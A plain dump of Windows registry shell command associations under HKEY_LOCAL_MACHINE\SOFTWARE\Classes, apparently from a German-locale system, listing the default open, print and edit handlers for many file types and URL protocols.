    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.HTM\shell\print\command
        (Standard)    REG_SZ    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\mshtml.dll",PrintHTML "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.HTM\shell\printto\command
        (Standard)    REG_SZ    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\mshtml.dll",PrintHTML "%1" "%2" "%3" "%4"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.MHT\shell\open\command
        (Standard)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.MHT\shell\opennew\command
        (Standard)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.PARTIAL\shell\open\command
        (Standard)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.SVG\shell\open\command
        (Standard)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.SVG\shell\opennew\command
        (Standard)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.SVG\shell\print\command
        (Standard)    REG_SZ    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\mshtml.dll",PrintHTML "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.SVG\shell\printto\command
        (Standard)    REG_SZ    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\mshtml.dll",PrintHTML "%1" "%2" "%3" "%4"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.URL\Shell\Open\Command
        (Standard)    REG_SZ    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL %l
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.URL\Shell\print\command
        (Standard)    REG_SZ    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\mshtml.dll",PrintHTML "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.URL\Shell\printto\command
        (Standard)    REG_SZ    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\mshtml.dll",PrintHTML "%1" "%2" "%3" "%4"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.WEBSITE\Shell\Open\Command
        (Standard)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" -w "%l" %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.XHT\shell\open\command
        (Standard)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.XHT\shell\opennew\command
        (Standard)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.XHT\shell\print\command
        (Standard)    REG_SZ    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\mshtml.dll",PrintXHTML "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.XHT\shell\printto\command
        (Standard)    REG_SZ    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\mshtml.dll",PrintXHTML "%1" "%2" "%3" "%4"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.FTP\shell\open\command
        (Standard)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.HTTP\shell\open\command
        (Standard)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.HTTPS\shell\open\command
        (Standard)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IMEDictionaryCompiler\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%WINDIR%\system32\IME\SHARED\imewdbld.exe" "%1" %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\imesxfile\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%WINDIR%\system32\IME\SHARED\imesearch.exe" "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\inffile\shell\Install\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\InfDefaultInstall.exe "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\inffile\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\NOTEPAD.EXE %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\inffile\shell\print\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\NOTEPAD.EXE /p %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\inifile\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\NOTEPAD.EXE %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\inifile\shell\print\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\NOTEPAD.EXE /p %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\InternetShortcut\shell\Open\Command
        (Standard)    REG_SZ    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL %l
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\InternetShortcut\shell\print\command
        (Standard)    REG_SZ    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\mshtml.dll",PrintHTML "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\InternetShortcut\shell\printto\command
        (Standard)    REG_SZ    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\mshtml.dll",PrintHTML "%1" "%2" "%3" "%4"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\jpegfile\shell\printto\command
        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\System32\rundll32.exe" "%SystemRoot%\System32\shimgvw.dll",ImageView_PrintTo /pt "%1" "%2" "%3" "%4"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JSEFile\Shell\Edit\Command
        (Standard)    REG_SZ    C:\Windows\System32\Notepad.exe %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JSEFile\Shell\Open\Command
        (Standard)    REG_SZ    C:\Windows\System32\WScript.exe "%1" %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JSEFile\Shell\Open2\Command
        (Standard)    REG_SZ    C:\Windows\System32\CScript.exe "%1" %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JSEFile\Shell\Print\Command
        (Standard)    REG_SZ    C:\Windows\System32\Notepad.exe /p %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JSFile\Shell\Edit\Command
        (Standard)    REG_SZ    C:\Windows\System32\Notepad.exe %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JSFile\Shell\Open\Command
        (Standard)    REG_SZ    C:\Windows\System32\WScript.exe "%1" %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JSFile\Shell\Open2\Command
        (Standard)    REG_SZ    C:\Windows\System32\CScript.exe "%1" %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JSFile\Shell\Print\Command
        (Standard)    REG_SZ    C:\Windows\System32\Notepad.exe /p %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Launcher.Computer\Shell\Manage\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\CompMgmtLauncher.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\LDAP\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" "/ldap:%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\LpkSetup.1\Shell\install\command
        (Standard)    REG_EXPAND_SZ    %systemroot%\system32\lpksetup.exe /p "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MacromediaFlashPaper.MacromediaFlashPaper\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Internet Explorer\iexplore.exe" "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\mhtmlfile\shell\open\command
        (Standard)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\mhtmlfile\shell\opennew\command
        (Standard)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Microsoft.PowerShellConsole.1\Shell\Open\Command
        (Standard)    REG_SZ    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -p "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Microsoft.PowerShellData.1\Shell\Edit\Command
        (Standard)    REG_SZ    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe" "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Microsoft.PowerShellData.1\Shell\Open\Command
        (Standard)    REG_SZ    "C:\Windows\System32\notepad.exe" "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Microsoft.PowerShellModule.1\Shell\Edit\Command
        (Standard)    REG_SZ    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe" "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Microsoft.PowerShellModule.1\Shell\Open\Command
        (Standard)    REG_SZ    "C:\Windows\System32\notepad.exe" "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Microsoft.PowerShellScript.1\Shell\0\Command
        (Standard)    REG_SZ    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "-Command" "if((Get-ExecutionPolicy ) -ne 'AllSigned') { Set-ExecutionPolicy -Scope Process Bypass }; & '%1'"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Microsoft.PowerShellScript.1\Shell\Edit\Command
        (Standard)    REG_SZ    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe" "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Microsoft.PowerShellScript.1\Shell\Open\Command
        (Standard)    REG_SZ    "C:\Windows\System32\notepad.exe" "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Microsoft.ProvTool.Provisioning.1\Shell\open\command
        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\System32\provtool.exe" "%1" /source ShellOpen
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Microsoft.System.Update.1\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%systemroot%\system32\wusa.exe" "%1" %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Microsoft.Website\Shell\Open\Command
        (Standard)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" -w "%l" %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Microsoft.Workfolders\Shell\Open\command
        (Standard)    REG_SZ    C:\Windows\System32\control.exe /name Microsoft.WorkFolders
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MMS\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ms-availablenetworks\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\system32\LaunchWinApp.exe" "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ms-mmsys\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\mmsys.cpl %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ms-msdt\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\system32\msdt.exe" %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ms-msime-imepad\shell\open\command
        (Standard)    REG_SZ    C:\Windows\System32\IME\SHARED\IMEPADSV.EXE %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ms-msime-imjpdct\shell\open\command
        (Standard)    REG_SZ    C:\Windows\System32\IME\IMEJP\IMJPDCT.EXE %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ms-quick-assist\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\system32\quickassist.exe" %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ms-rdx-document\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\RDXService,OpenRDXDocument %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ms-settings-connectabledevices\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\system32\LaunchWinApp.exe" "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ms-settings-displays-topology\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\system32\LaunchWinApp.exe" "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ms-virtualtouchpad\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\system32\LaunchWinApp.exe" "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\mscfile\shell\Author\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\mmc.exe /a "%1" %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\mscfile\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\mmc.exe "%1" %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\mscfile\shell\RunAs\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\mmc.exe "%1" %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MSDASC\shell\open\command
        (Standard)    REG_EXPAND_SZ    Rundll32.exe "%CommonProgramFiles%\System\OLE DB\oledb32.dll",OpenDSLFile %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Msi.Package\shell\Open\command
        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\System32\msiexec.exe" /i "%1" %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Msi.Package\shell\Repair\command
        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\System32\msiexec.exe" /f "%1" %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Msi.Package\shell\Uninstall\command
        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\System32\msiexec.exe" /x "%1" %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Msi.Patch\shell\Open\command
        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\System32\msiexec.exe" /p "%1" %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MSInfoFile\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\msinfo32.exe "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MSSppLicenseFile\shell\open\command
        (Standard)    REG_SZ    "iexplore.exe" "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MSStorageSense\shell\open\command
        (Standard)    REG_EXPAND_SZ    explorer ms-settings:storagesense
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\msstylesfile\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\shell32.dll,Control_RunDLL %SystemRoot%\system32\desk.cpl desk,@Appearance /Action:OpenMSTheme /file:"%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\NetServer\shell\remotedesktop\command
        (Standard)    REG_SZ    mstsc.exe -v %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\NetworkExplorerPlugins\urn:schemas-upnp-org:device:MediaServer:1\shell\Open Media Player\command
        (Standard)    REG_EXPAND_SZ    C:\Program Files\Windows Media Player\wmplayer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\odtfile\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\odtfile\shell\print\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" /p "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\odtfile\shell\printto\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" /pt "%1" "%2" "%3" "%4"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\opensearchdescription\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\opensearchfilefolderresult\shell\open\command
        (Standard)    REG_SZ    
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\opensearchresult\shell\open\command
        (Standard)    REG_SZ    
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\opensearchresult\shell\print\command
        (Standard)    REG_EXPAND_SZ    rundll32.exe %windir%\system32\mshtml.dll,PrintHTML "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\otffile\shell\preview\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\fontview.exe %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\otffile\shell\print\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\fontview.exe /p %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\P7RFile\shell\add\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtAddP7R %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\P7RFile\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenP7R %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\P7SFile\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\\rundll32.exe cryptext.dll,CryptExtOpenPKCS7 %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Paint.Picture\shell\edit\command
        (Standard)    REG_EXPAND_SZ    "%systemroot%\system32\mspaint.exe" "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Paint.Picture\shell\printto\command
        (Standard)    REG_EXPAND_SZ    "%systemroot%\system32\mspaint.exe" /pt "%1" "%2" "%3" "%4"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\pbkfile\Shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\rasphone.exe -f "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\PBrush\shell\edit\command
        (Standard)    REG_EXPAND_SZ    "%systemroot%\system32\mspaint.exe" "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\PBrush\shell\print\command
        (Standard)    REG_EXPAND_SZ    "%systemroot%\system32\mspaint.exe" /p "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\PBrush\shell\printto\command
        (Standard)    REG_EXPAND_SZ    "%systemroot%\system32\mspaint.exe" /pt "%1" "%2" "%3" "%4"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\PerfFile\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\mmc.exe %systemroot%\system32\perfmon.msc /F "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\pfmfile\shell\preview\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\fontview.exe %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\pfmfile\shell\print\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\fontview.exe /p %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\PFXFile\shell\add\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtAddPFX %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\PFXFile\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenPFX %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\PhotoViewer.FileAssoc.Tiff\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe "%ProgramFiles%\Windows Photo Viewer\PhotoViewer.dll", ImageView_Fullscreen %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\piffile\shell\open\command
        (Standard)    REG_SZ    "%1" %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\pjpegfile\shell\printto\command
        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\System32\rundll32.exe" "%SystemRoot%\System32\shimgvw.dll",ImageView_PrintTo /pt "%1" "%2" "%3" "%4"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\pngfile\shell\printto\command
        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\System32\rundll32.exe" "%SystemRoot%\System32\shimgvw.dll",ImageView_PrintTo /pt "%1" "%2" "%3" "%4"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\prffile\shell\Open\command
        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\System32\rundll32.exe" "%SystemRoot%\System32\msrating.dll",ClickedOnPRF %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ratfile\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\System32\rundll32.exe" "%SystemRoot%\System32\msrating.dll",ClickedOnRAT %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\RDP.File\shell\Connect\command
        (Standard)    REG_SZ    mstsc.exe "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\RDP.File\shell\Edit\command
        (Standard)    REG_SZ    mstsc.exe -edit "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\RDP.File\shell\Open\command
        (Standard)    REG_EXPAND_SZ    "%systemroot%\system32\mstsc.exe" "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\regedit\shell\open\command
        (Standard)    REG_SZ    regedit.exe "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\regfile\shell\edit\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\notepad.exe "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\regfile\shell\open\command
        (Standard)    REG_SZ    regedit.exe "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\regfile\shell\print\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\notepad.exe /p "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\RemoteAssistance.1\Shell\open\command
        (Standard)    REG_EXPAND_SZ    "%systemRoot%\system32\msra.exe" -openfile "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\rlefile\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%systemroot%\system32\mspaint.exe" "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\rlefile\shell\print\command
        (Standard)    REG_EXPAND_SZ    "%systemroot%\system32\mspaint.exe" /p "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\rlefile\shell\printto\command
        (Standard)    REG_EXPAND_SZ    "%systemroot%\system32\mspaint.exe" /pt "%1" "%2" "%3" "%4"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\rlogin\shell\open\command
        (Standard)    REG_SZ    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\url.dll",TelnetProtocolHandler %l
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\rtffile\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\rtffile\shell\print\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" /p "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\rtffile\shell\printto\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" /pt "%1" "%2" "%3" "%4"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SavedDsQuery\Shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\dsquery.dll,OpenSavedDsQuery %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\scrfile\shell\config\command
        (Standard)    REG_SZ    "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\scrfile\shell\install\command
        (Standard)    REG_SZ    rundll32.exe desk.cpl,InstallScreenSaver %l
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\scrfile\shell\open\command
        (Standard)    REG_SZ    "%1" /S
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\scriptletfile\Shell\Generate Typelib\command
        (Standard)    REG_SZ    "C:\Windows\System32\RUNDLL32.EXE" "C:\Windows\System32\scrobj.dll",GenerateTypeLib "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\scriptletfile\Shell\Open\command
        (Standard)    REG_SZ    "C:\Windows\System32\NOTEPAD.EXE" "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\scriptletfile\Shell\Register\command
        (Standard)    REG_SZ    "C:\Windows\System32\REGSVR32.EXE" /i:"%1" "C:\Windows\System32\scrobj.dll"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\scriptletfile\Shell\Unregister\command
        (Standard)    REG_SZ    "C:\Windows\System32\REGSVR32.EXE" /u /n /i:"%1" "C:\Windows\System32\scrobj.dll"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\search\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe /separate,/idlist,%I,%L
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\search-ms\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe /separate,/idlist,%I,%L
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SHCmdFile\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Shell.CDBurn\Shell\Prepare\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\shell32.dll,PrepareDiscForBurnRunDll %L
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SPCFile\shell\add\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtAddSPC %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SPCFile\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenPKCS7 %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\svgfile\shell\open\command
        (Standard)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\svgfile\shell\opennew\command
        (Standard)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\svgfile\shell\print\command
        (Standard)    REG_EXPAND_SZ    "%systemroot%\system32\rundll32.exe" "%systemroot%\system32\mshtml.dll",PrintHTML "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\svgfile\shell\printto\command
        (Standard)    REG_EXPAND_SZ    "%systemroot%\system32\rundll32.exe" "%systemroot%\system32\mshtml.dll",PrintHTML "%1" "%2" "%3" "%4"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.3mf\Shell\3D Edit\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\mspaint.exe "%1" /ForceBootstrapPaint3D
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.bmp\Shell\3D Edit\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\mspaint.exe "%1" /ForceBootstrapPaint3D
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.bmp\Shell\setdesktopwallpaper\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.dib\Shell\setdesktopwallpaper\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.fbx\Shell\3D Edit\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\mspaint.exe "%1" /ForceBootstrapPaint3D
    
